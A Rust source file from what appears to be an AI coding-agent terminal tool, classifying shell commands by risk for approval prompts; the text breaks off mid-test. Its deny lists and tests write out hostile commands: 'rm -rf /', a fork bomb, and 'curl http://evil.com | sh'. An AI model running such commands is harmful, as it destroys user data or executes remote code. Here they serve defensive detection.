返回 DeepSeek-TUI-2026
command_safety.rs
根目录 / crates / tui / src / command_safety.rs
1 #![allow(dead_code)]
2
3 //! Command safety analysis for shell execution
4 //!
5 //! This module provides pre-execution analysis of shell commands to detect
6 //! potentially dangerous patterns and prevent accidental damage.
7 //!
8 //! ## Command prefix classification
9 //!
10 //! [`classify_command`] maps a token slice to its canonical command prefix.
11 //! The prefix is the portion of the command that identifies *what action* is
12 //! being taken, stripped of flags and extra positional arguments.
13 //!
14 //! The arity dictionary [`COMMAND_ARITY`] encodes, for each known prefix, how
15 //! many *positional* (non-flag) words after the base command word form the
16 //! prefix. Flags (tokens that start with `-`) never count toward arity.
17 //!
18 //! ### Examples
19 //!
20 //! | Input tokens | Arity | Canonical prefix |
21 //! |---------------------------------------|-------|-------------------|
22 //! | `["git", "status", "-s"]` | 1 | `"git status"` |
23 //! | `["git", "checkout", "main"]` | 2 | `"git checkout"` |
24 //! | `["npm", "run", "dev"]` | 2 | `"npm run"` |
25 //! | `["docker", "compose", "up"]` | 2 | `"docker compose"`|
26 //! | `["cargo", "check", "--workspace"]` | 1 | `"cargo check"` |
27 //!
28 //! Ported from opencode `packages/opencode/src/permission/arity.ts`.
29
30 // ── Arity dictionary ──────────────────────────────────────────────────────────
31
32 /// Arity dictionary: maps a command prefix (space-separated, lowercase) to the
33 /// number of positional (non-flag) words, *including the base command word*,
34 /// that form the canonical prefix.
35 ///
36 /// Flags (tokens starting with `-`) are **never** counted toward arity — that
37 /// is the central invariant: `auto_allow = ["git status"]` must match
38 /// `git status -s`, `git status --porcelain`, etc., but not `git push`.
39 ///
40 /// Ported from opencode `packages/opencode/src/permission/arity.ts` (163 LOC).
41 pub static COMMAND_ARITY: &[(&str, u8)] = &[
42 // ── git ──────────────────────────────────────────────────────────────────
43 ("git add", 2),
44 ("git am", 2),
45 ("git apply", 2),
46 ("git bisect", 2),
47 ("git blame", 2),
48 ("git branch", 2),
49 ("git cat-file", 2),
50 ("git checkout", 2),
51 ("git cherry-pick", 2),
52 ("git clean", 2),
53 ("git clone", 2),
54 ("git commit", 2),
55 ("git config", 2),
56 ("git describe", 2),
57 ("git diff", 2),
58 ("git fetch", 2),
59 ("git format-patch", 2),
60 ("git grep", 2),
61 ("git init", 2),
62 ("git log", 2),
63 ("git ls-files", 2),
64 ("git merge", 2),
65 ("git mv", 2),
66 ("git notes", 2),
67 ("git pull", 2),
68 ("git push", 2),
69 ("git rebase", 2),
70 ("git reflog", 2),
71 ("git remote", 2),
72 ("git reset", 2),
73 ("git restore", 2),
74 ("git revert", 2),
75 ("git rm", 2),
76 ("git show", 2),
77 ("git stash", 2),
78 ("git status", 2),
79 ("git submodule", 2),
80 ("git switch", 2),
81 ("git tag", 2),
82 ("git worktree", 2),
83 // ── npm ──────────────────────────────────────────────────────────────────
84 ("npm audit", 2),
85 ("npm build", 2),
86 ("npm cache", 2),
87 ("npm ci", 2),
88 ("npm dedupe", 2),
89 ("npm fund", 2),
90 ("npm help", 2),
91 ("npm info", 2),
92 ("npm init", 2),
93 ("npm install", 2),
94 ("npm link", 2),
95 ("npm list", 2),
96 ("npm ls", 2),
97 ("npm outdated", 2),
98 ("npm pack", 2),
99 ("npm prune", 2),
100 ("npm publish", 2),
101 ("npm rebuild", 2),
102 ("npm run", 3),
103 ("npm start", 2),
104 ("npm stop", 2),
105 ("npm test", 2),
106 ("npm uninstall", 2),
107 ("npm update", 2),
108 ("npm version", 2),
109 ("npm view", 2),
110 // ── yarn ─────────────────────────────────────────────────────────────────
111 ("yarn add", 2),
112 ("yarn audit", 2),
113 ("yarn build", 2),
114 ("yarn install", 2),
115 ("yarn run", 3),
116 ("yarn start", 2),
117 ("yarn test", 2),
118 ("yarn upgrade", 2),
119 ("yarn workspace", 3),
120 // ── pnpm ─────────────────────────────────────────────────────────────────
121 ("pnpm add", 2),
122 ("pnpm build", 2),
123 ("pnpm install", 2),
124 ("pnpm run", 3),
125 ("pnpm start", 2),
126 ("pnpm test", 2),
127 ("pnpm update", 2),
128 // ── cargo ────────────────────────────────────────────────────────────────
129 ("cargo add", 2),
130 ("cargo bench", 2),
131 ("cargo build", 2),
132 ("cargo check", 2),
133 ("cargo clean", 2),
134 ("cargo clippy", 2),
135 ("cargo doc", 2),
136 ("cargo fix", 2),
137 ("cargo fmt", 2),
138 ("cargo generate", 2),
139 ("cargo install", 2),
140 ("cargo metadata", 2),
141 ("cargo package", 2),
142 ("cargo publish", 2),
143 ("cargo remove", 2),
144 ("cargo run", 2),
145 ("cargo search", 2),
146 ("cargo test", 2),
147 ("cargo tree", 2),
148 ("cargo uninstall", 2),
149 ("cargo update", 2),
150 ("cargo yank", 2),
151 // ── docker ───────────────────────────────────────────────────────────────
152 ("docker build", 2),
153 ("docker compose", 3),
154 ("docker container", 3),
155 ("docker cp", 2),
156 ("docker exec", 2),
157 ("docker image", 3),
158 ("docker images", 2),
159 ("docker inspect", 2),
160 ("docker kill", 2),
161 ("docker logs", 2),
162 ("docker network", 3),
163 ("docker ps", 2),
164 ("docker pull", 2),
165 ("docker push", 2),
166 ("docker rm", 2),
167 ("docker rmi", 2),
168 ("docker run", 2),
169 ("docker start", 2),
170 ("docker stop", 2),
171 ("docker system", 3),
172 ("docker tag", 2),
173 ("docker volume", 3),
174 // ── kubectl ──────────────────────────────────────────────────────────────
175 ("kubectl apply", 2),
176 ("kubectl create", 3),
177 ("kubectl delete", 3),
178 ("kubectl describe", 3),
179 ("kubectl exec", 2),
180 ("kubectl explain", 2),
181 ("kubectl get", 3),
182 ("kubectl label", 2),
183 ("kubectl logs", 2),
184 ("kubectl patch", 2),
185 ("kubectl port-forward", 2),
186 ("kubectl rollout", 3),
187 ("kubectl scale", 2),
188 ("kubectl set", 2),
189 ("kubectl top", 3),
190 // ── go ───────────────────────────────────────────────────────────────────
191 ("go build", 2),
192 ("go clean", 2),
193 ("go env", 2),
194 ("go fmt", 2),
195 ("go generate", 2),
196 ("go get", 2),
197 ("go install", 2),
198 ("go list", 2),
199 ("go mod", 3),
200 ("go run", 2),
201 ("go test", 2),
202 ("go vet", 2),
203 ("go work", 3),
204 // ── python / pip ─────────────────────────────────────────────────────────
205 ("pip install", 2),
206 ("pip uninstall", 2),
207 ("pip list", 2),
208 ("pip show", 2),
209 ("pip freeze", 2),
210 ("pip3 install", 2),
211 ("pip3 uninstall", 2),
212 ("pip3 list", 2),
213 ("pip3 show", 2),
214 ("python -m", 3),
215 ("python3 -m", 3),
216 // ── make / cmake ─────────────────────────────────────────────────────────
217 ("make", 1),
218 // ── gh (GitHub CLI) ──────────────────────────────────────────────────────
219 ("gh pr", 3),
220 ("gh issue", 3),
221 ("gh repo", 3),
222 ("gh release", 3),
223 ("gh workflow", 3),
224 ("gh run", 3),
225 ("gh secret", 3),
226 // ── rustup ───────────────────────────────────────────────────────────────
227 ("rustup default", 2),
228 ("rustup install", 2),
229 ("rustup show", 2),
230 ("rustup target", 3),
231 ("rustup toolchain", 3),
232 ("rustup update", 2),
233 // ── deno / bun / node ────────────────────────────────────────────────────
234 ("deno run", 2),
235 ("deno test", 2),
236 ("deno fmt", 2),
237 ("deno lint", 2),
238 ("bun add", 2),
239 ("bun build", 2),
240 ("bun install", 2),
241 ("bun run", 3),
242 ("bun test", 2),
243 ("npx", 2),
244 ];
245
246 /// Return the canonical command prefix for a slice of command tokens.
247 ///
248 /// The prefix is determined by the [`COMMAND_ARITY`] dictionary:
249 ///
250 /// 1. Tokens that start with `-` are treated as flags and **skipped** — they
251 /// never contribute to arity.
252 /// 2. The arity value `n` means that `n` positional words (including the base
253 /// command name) form the canonical prefix.
254 /// 3. The longest matching dictionary entry wins (greedy).
255 /// 4. If no dictionary entry matches, the single base command word is returned
256 /// as the prefix.
257 ///
258 /// # Examples
259 ///
260 /// ```
261 /// # use deepseek_tui::command_safety::classify_command;
262 /// assert_eq!(classify_command(&["git", "status", "-s"]), "git status");
263 /// assert_eq!(classify_command(&["git", "push", "origin"]), "git push");
264 /// assert_eq!(classify_command(&["cargo", "check", "--workspace"]), "cargo check");
265 /// assert_eq!(classify_command(&["npm", "run", "dev"]), "npm run dev");
266 /// assert_eq!(classify_command(&["ls", "-la"]), "ls");
267 /// ```
268 pub fn classify_command(tokens: &[&str]) -> String {
269 if tokens.is_empty() {
270 return String::new();
271 }
272
273 // Collect only the positional (non-flag) tokens, lowercased.
274 let positional: Vec<String> = tokens
275 .iter()
276 .filter(|t| !t.starts_with('-'))
277 .map(|t| t.to_ascii_lowercase())
278 .collect();
279
280 if positional.is_empty() {
281 return String::new();
282 }
283
284 // Try matching from the longest possible prefix down to 1 positional word.
285 // Maximum lookup depth is 3 (covers all entries in the dictionary that use
286 // arity ≤ 3; the arity-3 entries consume at most 3 positional tokens).
287 let max_depth = positional.len().min(3);
288 for depth in (1..=max_depth).rev() {
289 let candidate = positional[..depth].join(" ");
290 if let Some(&(_key, arity)) = COMMAND_ARITY.iter().find(|(key, _)| **key == candidate) {
291 // Found a matching dictionary entry. Return the positional tokens
292 // up to min(arity, available_positional_count) joined by spaces.
293 let take = (arity as usize).min(positional.len());
294 return positional[..take].join(" ");
295 }
296 }
297
298 // No dictionary match → single-word prefix (the base command name).
299 positional[0].clone()
300 }
301
302 /// Return `true` when an allow-rule `pattern` (a command-prefix string such
303 /// as `"git status"`) matches the concrete `command` string using the
304 /// arity-aware prefix classification from [`classify_command`].
305 ///
306 /// This is the canonical entry point for config `allow` / `auto_allow` rule
307 /// evaluation. It correctly handles:
308 ///
309 /// * `"git status"` → matches `git status -s`, `git status --porcelain`;
310 /// does **not** match `git push origin main`.
311 /// * `"npm run dev"` → matches only `npm run dev`, not `npm run build`.
312 /// * `"cargo check"` → matches `cargo check --workspace`.
313 /// * `"make"` → matches `make all`, `make clean` (arity 1).
314 ///
315 /// For allow rules that contain wildcards (`*`) or regex metacharacters, the
316 /// caller should additionally invoke the pattern-matching path from
317 /// `crate::execpolicy::matcher::pattern_matches`.
318 ///
319 /// # Examples
320 ///
321 /// ```
322 /// # use deepseek_tui::command_safety::prefix_allow_matches;
323 /// assert!( prefix_allow_matches("git status", "git status --porcelain"));
324 /// assert!(!prefix_allow_matches("git status", "git push origin main"));
325 /// assert!( prefix_allow_matches("cargo check", "cargo check --workspace"));
326 /// assert!( prefix_allow_matches("npm run dev", "npm run dev"));
327 /// assert!(!prefix_allow_matches("npm run dev", "npm run build"));
328 /// ```
329 pub fn prefix_allow_matches(pattern: &str, command: &str) -> bool {
330 // Normalise the pattern: trim + lowercase + collapse whitespace.
331 let pattern_norm: String = pattern
332 .trim()
333 .to_ascii_lowercase()
334 .split_whitespace()
335 .collect::<Vec<_>>()
336 .join(" ");
337
338 let tokens: Vec<&str> = command.split_whitespace().collect();
339 if tokens.is_empty() {
340 return pattern_norm.is_empty();
341 }
342
343 // Primary path: arity-aware classification.
344 let canonical = classify_command(&tokens);
345 if canonical == pattern_norm {
346 return true;
347 }
348
349 // Fallback: normalised exact match for patterns not in the arity table
350 // (e.g. exact-match rules like `"ls -la"` that lack a dictionary entry).
351 let command_norm: String = command
352 .trim()
353 .to_ascii_lowercase()
354 .split_whitespace()
355 .collect::<Vec<_>>()
356 .join(" ");
357 command_norm == pattern_norm || command_norm.starts_with(&format!("{pattern_norm} "))
358 }
359
360 /// Safety classification of a command
361 #[derive(Debug, Clone, Copy, PartialEq, Eq)]
362 pub enum SafetyLevel {
363 /// Command is known to be safe (read-only operations)
364 Safe,
365 /// Command is safe within the workspace but may modify files
366 WorkspaceSafe,
367 /// Command may have system-wide effects and requires approval
368 RequiresApproval,
369 /// Command is potentially dangerous and should be blocked
370 Dangerous,
371 }
372
373 /// Result of analyzing a command
374 #[derive(Debug, Clone)]
375 pub struct SafetyAnalysis {
376 pub level: SafetyLevel,
377 pub command: String,
378 pub reasons: Vec<String>,
379 pub suggestions: Vec<String>,
380 }
381
382 impl SafetyAnalysis {
383 pub fn safe(command: &str) -> Self {
384 Self {
385 level: SafetyLevel::Safe,
386 command: command.to_string(),
387 reasons: vec!["Command is read-only".to_string()],
388 suggestions: vec![],
389 }
390 }
391
392 pub fn workspace_safe(command: &str, reason: &str) -> Self {
393 Self {
394 level: SafetyLevel::WorkspaceSafe,
395 command: command.to_string(),
396 reasons: vec![reason.to_string()],
397 suggestions: vec![],
398 }
399 }
400
401 pub fn requires_approval(command: &str, reasons: Vec<String>) -> Self {
402 Self {
403 level: SafetyLevel::RequiresApproval,
404 command: command.to_string(),
405 reasons,
406 suggestions: vec![],
407 }
408 }
409
410 pub fn dangerous(command: &str, reasons: Vec<String>, suggestions: Vec<String>) -> Self {
411 Self {
412 level: SafetyLevel::Dangerous,
413 command: command.to_string(),
414 reasons,
415 suggestions,
416 }
417 }
418 }
419
420 /// Known safe commands that only read data
421 const SAFE_COMMANDS: &[&str] = &[
422 "ls",
423 "dir",
424 "pwd",
425 "cd",
426 "cat",
427 "head",
428 "tail",
429 "less",
430 "more",
431 "grep",
432 "rg",
433 "ag",
434 "find",
435 "fd",
436 "which",
437 "whereis",
438 "type",
439 "echo",
440 "printf",
441 "date",
442 "cal",
443 "uptime",
444 "whoami",
445 "id",
446 "hostname",
447 "uname",
448 "env",
449 "printenv",
450 "set",
451 "ps",
452 "top",
453 "htop",
454 "df",
455 "du",
456 "free",
457 "vmstat",
458 "wc",
459 "sort",
460 "uniq",
461 "cut",
462 "tr",
463 "awk",
464 "sed",
465 "diff",
466 "file",
467 "stat",
468 "md5",
469 "sha1sum",
470 "sha256sum",
471 "git status",
472 "git log",
473 "git diff",
474 "git show",
475 "git branch",
476 "git remote",
477 "git tag",
478 "git stash list",
479 "npm list",
480 "npm ls",
481 "npm outdated",
482 "npm view",
483 "cargo check",
484 "cargo test",
485 "cargo build",
486 "cargo doc",
487 "python --version",
488 "node --version",
489 "rustc --version",
490 "man",
491 "help",
492 "info",
493 ];
494
495 /// Commands that are safe within workspace but modify files
496 const WORKSPACE_SAFE_COMMANDS: &[&str] = &[
497 "mkdir",
498 "touch",
499 "cp",
500 "mv",
501 "git add",
502 "git commit",
503 "git checkout",
504 "git switch",
505 "git restore",
506 "git merge",
507 "git rebase",
508 "git cherry-pick",
509 "git reset --soft",
510 "npm install",
511 "npm ci",
512 "npm update",
513 "cargo build",
514 "cargo run",
515 "cargo test",
516 "cargo fmt",
517 "pip install",
518 "pip uninstall",
519 "make",
520 "cmake",
521 "ninja",
522 ];
523
524 /// Dangerous command patterns that should be blocked or warned.
525 ///
526 /// Codex flags only explicit `rm -f*` / `rm -rf` patterns. We match
527 /// that restraint — aggressive patterns for shutdown, reboot, killall,
528 /// docker rm, chown, etc. have been removed because they generate
529 /// unnecessary approval prompts for routine operations the user can
530 /// still veto via the approval dialog.
531 const DANGEROUS_PATTERNS: &[(&str, &str)] = &[
532 ("rm -rf /", "Attempts to recursively delete root filesystem"),
533 (
534 "rm -rf /*",
535 "Attempts to recursively delete all root directories",
536 ),
537 ("rm -rf ~", "Attempts to recursively delete home directory"),
538 (
539 "rm -rf $HOME",
540 "Attempts to recursively delete home directory",
541 ),
542 (":(){ :|:& };:", "Fork bomb — will crash the system"),
543 ];
544
545 /// Commands that require elevated privileges
546 const PRIVILEGED_PATTERNS: &[&str] = &["sudo", "su ", "doas", "pkexec", "gksudo", "kdesudo"];
547
548 /// Network-related commands
549 const NETWORK_COMMANDS: &[&str] = &[
550 "curl",
551 "wget",
552 "fetch",
553 "nc",
554 "netcat",
555 "ncat",
556 "ssh",
557 "scp",
558 "sftp",
559 "rsync",
560 "ftp",
561 "ping",
562 "traceroute",
563 "nslookup",
564 "dig",
565 "host",
566 "nmap",
567 "masscan",
568 "tcpdump",
569 "wireshark",
570 ];
571
572 /// Analyze a shell command for safety
573 pub fn analyze_command(command: &str) -> SafetyAnalysis {
574 let command_lower = command.to_lowercase();
575 let command_trimmed = command.trim();
576
577 if command.contains('\n') || command.contains('\r') {
578 return SafetyAnalysis::dangerous(
579 command,
580 vec!["Command contains multiple lines".to_string()],
581 vec!["Run one command at a time".to_string()],
582 );
583 }
584
585 if command.contains('\0') {
586 return SafetyAnalysis::dangerous(
587 command,
588 vec!["Command contains a null byte".to_string()],
589 vec!["Strip embedded null bytes before retrying".to_string()],
590 );
591 }
592
593 if command.contains("&&") || command.contains("||") || command.contains(';') {
594 // Chains of known-safe commands (cargo/git/zig/npm/etc.) are
595 // routine for build+test workflows. Instead of hard-blocking,
596 // escalate to RequiresApproval so the user can still deny in
597 // non-trusted modes. YOLO/auto-approve flows pass through.
598 if all_segments_known_safe(command) {
599 return SafetyAnalysis::requires_approval(
600 command,
601 vec!["Command chains known-safe segments (cargo/git/etc.)".to_string()],
602 );
603 }
604 // Unknown chains escalate to RequiresApproval instead of
605 // Dangerous — the user can still deny them. Codex only blocks
606 // explicit `rm -rf` patterns (above) and lets the user decide
607 // on everything else.
608 return SafetyAnalysis::requires_approval(
609 command,
610 vec!["Command chaining detected".to_string()],
611 );
612 }
613
614 if command.contains("`") || command.contains("$(") {
615 // Substitution is a common shell pattern (e.g., `cargo test
616 // $(cargo test --list | head -1)` or `echo $(date)`). Codex
617 // doesn't block it; escalate to approval so the user can
618 // inspect, but don't hard-block.
619 return SafetyAnalysis::requires_approval(
620 command,
621 vec!["Command substitution detected".to_string()],
622 );
623 }
624
625 // Check for dangerous patterns first
626 for (pattern, reason) in DANGEROUS_PATTERNS {
627 if command_lower.contains(&pattern.to_lowercase()) {
628 return SafetyAnalysis::dangerous(
629 command,
630 vec![(*reason).to_string()],
631 vec!["Review the command carefully before execution".to_string()],
632 );
633 }
634 }
635
636 // Check for privileged commands
637 for pattern in PRIVILEGED_PATTERNS {
638 if command_trimmed.starts_with(pattern) || command_lower.contains(&format!(" {pattern} ")) {
639 return SafetyAnalysis::requires_approval(
640 command,
641 vec![format!(
642 "Command uses privileged execution ({})",
643 pattern.trim()
644 )],
645 );
646 }
647 }
648
649 // Check for pipe to shell (remote code execution risk)
650 if (command_lower.contains("curl") || command_lower.contains("wget"))
651 && (command_lower.contains("| sh")
652 || command_lower.contains("| bash")
653 || command_lower.contains("| zsh"))
654 {
655 return SafetyAnalysis::dangerous(
656 command,
657 vec!["Piping remote content directly to shell is dangerous".to_string()],
658 vec!["Download the script first and review it before execution".to_string()],
659 );
660 }
661
662 // Check if it's a known safe command
663 let first_word = command_trimmed.split_whitespace().next().unwrap_or("");
664 if is_safe_command(command_trimmed) {
665 return SafetyAnalysis::safe(command);
666 }
667
668 // Check for workspace-safe commands
669 if is_workspace_safe_command(command_trimmed) {
670 return SafetyAnalysis::workspace_safe(command, "Command modifies files within workspace");
671 }
672
673 // Check for network commands
674 if NETWORK_COMMANDS.contains(&first_word) {
675 return SafetyAnalysis::requires_approval(
676 command,
677 vec!["Command may make network requests".to_string()],
678 );
679 }
680
681 // Check for rm with -r or -f flags
682 if first_word == "rm" && (command_lower.contains("-r") || command_lower.contains("-f")) {
683 let mut reasons = vec!["Recursive or forced deletion".to_string()];
684 let mut suggestions = vec![];
685
686 // Check if it's deleting outside workspace markers
687 if command_lower.contains("..")
688 || command_lower.contains("~/")
689 || command_lower.contains("$HOME")
690 {
691 reasons.push("May delete files outside workspace".to_string());
692 suggestions.push("Use relative paths within the workspace".to_string());
693 return SafetyAnalysis::dangerous(command, reasons, suggestions);
694 }
695
696 return SafetyAnalysis::requires_approval(command, reasons);
697 }
698
699 // Check for git push/force operations
700 if command_lower.contains("git push") {
701 if command_lower.contains("--force") || command_lower.contains("-f") {
702 return SafetyAnalysis::requires_approval(
703 command,
704 vec!["Force push can overwrite remote history".to_string()],
705 );
706 }
707 return SafetyAnalysis::requires_approval(
708 command,
709 vec!["Push will modify remote repository".to_string()],
710 );
711 }
712
713 // Default: requires approval for unknown commands
714 SafetyAnalysis::requires_approval(
715 command,
716 vec!["Unknown command - review before execution".to_string()],
717 )
718 }
719
720 /// Check if a command is known to be safe
721 fn is_safe_command(command: &str) -> bool {
722 let command_lower = command.to_lowercase();
723
724 for safe_cmd in SAFE_COMMANDS {
725 if command_lower.starts_with(safe_cmd) {
726 return true;
727 }
728 }
729
730 false
731 }
732
733 /// Build/test/source-control commands that are reasonable to chain in a
734 /// trusted workspace (`cd /tmp/foo && cargo build`, `cargo test --workspace
735 /// && cargo clippy`, etc.). The match is by leading token, not full string,
736 /// so flags don't trip the check.
737 const KNOWN_SAFE_CHAIN_PREFIXES: &[&str] = &[
738 "cargo", "rustc", "rustup", "git", "gh", "hub", "npm", "yarn", "pnpm", "node", "npx", "zig",
739 "go", "deno", "bun", "make", "cmake", "ninja", "meson", "python", "python3", "pip", "pip3",
740 "uv", "poetry", "ls", "pwd", "cd", "echo", "cat", "head", "tail", "grep", "rg", "find", "fd",
741 "wc", "sort", "uniq", "which", "env", "true", "false",
742 ];
743
744 /// Return true when every segment of a chained command (`a && b ; c || d`)
745 /// has a leading token in `KNOWN_SAFE_CHAIN_PREFIXES`. Used to permit routine
746 /// build+test chains without escalating to Dangerous.
747 fn all_segments_known_safe(command: &str) -> bool {
748 let normalized = command
749 .replace("&&", "\n")
750 .replace("||", "\n")
751 .replace(';', "\n");
752 let segments: Vec<&str> = normalized
753 .split('\n')
754 .map(str::trim)
755 .filter(|s| !s.is_empty())
756 .collect();
757 if segments.is_empty() {
758 return false;
759 }
760 segments.iter().all(|seg| {
761 let head = seg
762 .split_whitespace()
763 .find(|tok| !tok.contains('=') && *tok != "env")
764 .unwrap_or("");
765 KNOWN_SAFE_CHAIN_PREFIXES
766 .iter()
767 .any(|prefix| head.eq_ignore_ascii_case(prefix))
768 })
769 }
770
771 /// Check if a command is safe within the workspace
772 fn is_workspace_safe_command(command: &str) -> bool {
773 let command_lower = command.to_lowercase();
774
775 for ws_cmd in WORKSPACE_SAFE_COMMANDS {
776 if command_lower.starts_with(ws_cmd) {
777 return true;
778 }
779 }
780
781 false
782 }
783
784 /// Check if a path escapes the workspace
785 pub fn path_escapes_workspace(path: &str, workspace: &str) -> bool {
786 let path_lower = normalize_safety_path(path);
787 let workspace_lower = normalize_safety_path(workspace);
788
789 // Check for obvious escape patterns
790 if path_lower.starts_with("~/") || path_lower.starts_with("$home") {
791 return true;
792 }
793
794 if is_absolute_safety_path(&path_lower) {
795 let path_components = lexical_components(&path_lower);
796 let workspace_components = lexical_components(&workspace_lower);
797 return !components_start_with(&path_components, &workspace_components);
798 }
799
800 // Walk the path components. Track depth relative to the workspace root:
801 // non-`..` components increment depth, `..` components decrement it.
802 // If depth ever goes negative, the path escapes the workspace boundary.
803 // This correctly distinguishes genuine traversal like `../outside` from
804 // names that happen to contain consecutive dots like `foo..bar`.
805 let mut depth: i32 = 0;
806 for component in path_lower.split('/') {
807 match component {
808 "" | "." => {}
809 ".." => depth -= 1,
810 _ => depth += 1,
811 }
812 if depth < 0 {
813 return true;
814 }
815 }
816
817 false
818 }
819
820 fn normalize_safety_path(path: &str) -> String {
821 path.trim().replace('\\', "/").to_lowercase()
822 }
823
824 fn is_absolute_safety_path(path: &str) -> bool {
825 path.starts_with('/')
826 || path
827 .as_bytes()
828 .get(1..3)
829 .is_some_and(|bytes| bytes[0] == b':' && bytes[1] == b'/')
830 }
831
832 fn lexical_components(path: &str) -> Vec<&str> {
833 let mut components = Vec::new();
834 for component in path.split('/') {
835 match component {
836 "" | "." => {}
837 ".." => {
838 components.pop();
839 }
840 _ => components.push(component),
841 }
842 }
843 components
844 }
845
846 fn components_start_with(path: &[&str], prefix: &[&str]) -> bool {
847 path.len() >= prefix.len() && path.iter().zip(prefix.iter()).all(|(a, b)| a == b)
848 }
849
850 /// Parse a command and extract the primary command name
851 pub fn extract_primary_command(command: &str) -> Option<&str> {
852 let trimmed = command.trim();
853
854 // Handle env vars at start
855 if trimmed.starts_with("env ") || trimmed.starts_with("ENV=") {
856 // Skip env setup - find first token that's not an env var
857 trimmed
858 .split_whitespace()
859 .find(|s| !s.contains('=') && *s != "env")
860 } else {
861 trimmed.split_whitespace().next()
862 }
863 }
864
865 /// Categorize commands into groups
866 #[derive(Debug, Clone, Copy, PartialEq, Eq)]
867 pub enum CommandCategory {
868 FileSystem,
869 Network,
870 Process,
871 Package,
872 Git,
873 Build,
874 System,
875 Shell,
876 Other,
877 }
878
879 /// Get the category of a command
880 pub fn categorize_command(command: &str) -> CommandCategory {
881 let primary = match extract_primary_command(command) {
882 Some(cmd) => cmd.to_lowercase(),
883 None => return CommandCategory::Other,
884 };
885
886 match primary.as_str() {
887 "ls" | "dir" | "cat" | "head" | "tail" | "less" | "more" | "cp" | "mv" | "rm" | "mkdir"
888 | "rmdir" | "touch" | "chmod" | "chown" | "ln" | "find" | "fd" | "locate" | "stat"
889 | "file" => CommandCategory::FileSystem,
890
891 "curl" | "wget" | "fetch" | "nc" | "netcat" | "ssh" | "scp" | "sftp" | "rsync" | "ftp"
892 | "ping" | "traceroute" | "nslookup" | "dig" | "host" | "nmap" => CommandCategory::Network,
893
894 "ps" | "top" | "htop" | "kill" | "killall" | "pkill" | "pgrep" | "nice" | "renice"
895 | "nohup" | "timeout" => CommandCategory::Process,
896
897 "npm" | "yarn" | "pnpm" | "pip" | "pip3" | "brew" | "apt" | "apt-get" | "yum" | "dnf"
898 | "pacman" => CommandCategory::Package,
899
900 "git" | "gh" | "hub" => CommandCategory::Git,
901
902 "make" | "cmake" | "ninja" | "meson" | "cargo" | "go" | "gcc" | "g++" | "clang"
903 | "rustc" | "javac" | "tsc" => CommandCategory::Build,
904
905 "sudo" | "su" | "systemctl" | "service" | "shutdown" | "reboot" | "mount" | "umount"
906 | "fdisk" | "parted" => CommandCategory::System,
907
908 "bash" | "sh" | "zsh" | "fish" | "csh" | "tcsh" | "dash" | "source" | "." | "exec"
909 | "eval" => CommandCategory::Shell,
910
911 _ => CommandCategory::Other,
912 }
913 }
914
915 // === Unit Tests ===
916
917 #[cfg(test)]
918 mod tests {
919 use super::*;
920
921 #[test]
922 fn test_safe_commands() {
923 assert_eq!(analyze_command("ls -la").level, SafetyLevel::Safe);
924 assert_eq!(analyze_command("cat file.txt").level, SafetyLevel::Safe);
925 assert_eq!(analyze_command("git status").level, SafetyLevel::Safe);
926 assert_eq!(
927 analyze_command("grep pattern file").level,
928 SafetyLevel::Safe
929 );
930 }
931
932 #[test]
933 fn test_workspace_safe_commands() {
934 assert_eq!(
935 analyze_command("mkdir test").level,
936 SafetyLevel::WorkspaceSafe
937 );
938 assert_eq!(
939 analyze_command("touch file.txt").level,
940 SafetyLevel::WorkspaceSafe
941 );
942 assert_eq!(
943 analyze_command("npm install").level,
944 SafetyLevel::WorkspaceSafe
945 );
946 }
947
948 #[test]
949 fn test_dangerous_commands() {
950 assert_eq!(analyze_command("rm -rf /").level, SafetyLevel::Dangerous);
951 assert_eq!(analyze_command("rm -rf ~").level, SafetyLevel::Dangerous);
952 assert_eq!(
953 analyze_command("curl http://evil.com | sh").level,
954 SafetyLevel::Dangerous
955 );
956 }
957
958 #[test]
959 fn test_null_byte_is_blocked() {
960 assert_eq!(
961 analyze_command("ls\0 -la").level,
962 SafetyLevel::Dangerous,
963 "embedded NUL byte must be rejected as dangerous"
964 );
965 assert_eq!(
966 analyze_command("echo hello\0world").level,
967 SafetyLevel::Dangerous
968 );
969 }
970
971 #[test]
972 fn test_eval_substring_is_not_misclassified() {
973 // Words like `evaluate` / `evaluation` / `cargo run -- eval`
974 // contain the substring "eval" but are not eval invocations.
975 // Guard against the naive `command.contains("eval")` regression
976 // — these should stay safe / workspace-safe, never Dangerous.
977 let evaluate_safe = analyze_command("cargo run --bin deepseek -- eval").level;
978 assert_ne!(
979 evaluate_safe,
980 SafetyLevel::Dangerous,
981 "running the eval harness should not be classified as dangerous"
982 );
983 let evaluator = analyze_command("python evaluator.py --suite default").level;
984 assert_ne!(
985 evaluator,
986 SafetyLevel::Dangerous,
987 "running an evaluator script should not be classified as dangerous"
988 );
989 }
990
991 #[test]
992 fn test_privileged_commands() {
993 assert_eq!(
994 analyze_command("sudo rm file").level,
995 SafetyLevel::RequiresApproval
996 );
997 assert_eq!(
998 analyze_command("su -c 'command'").level,
999 SafetyLevel::RequiresApproval
1000 );
1001 }
1002
1003 #[test]
1004 fn test_network_commands() {
1005 assert_eq!(
1006 analyze_command("curl https://example.com").level,
1007 SafetyLevel::RequiresApproval
1008 );
1009 assert_eq!(
1010 analyze_command("wget file.tar.gz").level,
1011 SafetyLevel::RequiresApproval
1012 );
1013 assert_eq!(
1014 analyze_command("ssh user@host").level,
1015 SafetyLevel::RequiresApproval
1016 );
1017 }
1018
1019 #[test]
1020 fn test_rm_with_flags() {
1021 assert_eq!(
1022 analyze_command("rm -rf node_modules").level,
1023 SafetyLevel::RequiresApproval
1024 );
1025 assert_eq!(
1026 analyze_command("rm -rf ../outside").level,
1027 SafetyLevel::Dangerous
1028 );
1029 assert_eq!(
1030 analyze_command("rm -rf ~/Downloads").level,
1031 SafetyLevel::Dangerous
1032 );
1033 }
1034
1035 #[test]
1036 fn test_git_push() {
1037 assert_eq!(
1038 analyze_command("git push origin main").level,
1039 SafetyLevel::RequiresApproval
1040 );
1041 assert_eq!(
1042 analyze_command("git push --force").level,
1043 SafetyLevel::RequiresApproval
1044 );
1045 }
1046
1047 #[test]
1048 fn test_path_escapes_workspace() {
1049 assert!(path_escapes_workspace("/etc/passwd", "/home/user/project"));
1050 assert!(path_escapes_workspace("~/secret", "/home/user/project"));
1051 assert!(!path_escapes_workspace(
1052 "./src/main.rs",
1053 "/home/user/project"
1054 ));
1055 }
1056
1057 #[test]
1058 fn test_path_escapes_workspace_doesnt_flag_double_dot_in_names() {
1059 // Names like `foo..bar` should NOT be flagged as path traversal
1060 assert!(!path_escapes_workspace(
1061 "some..file.txt",
1062 "/home/user/project"
1063 ));
1064 assert!(!path_escapes_workspace(
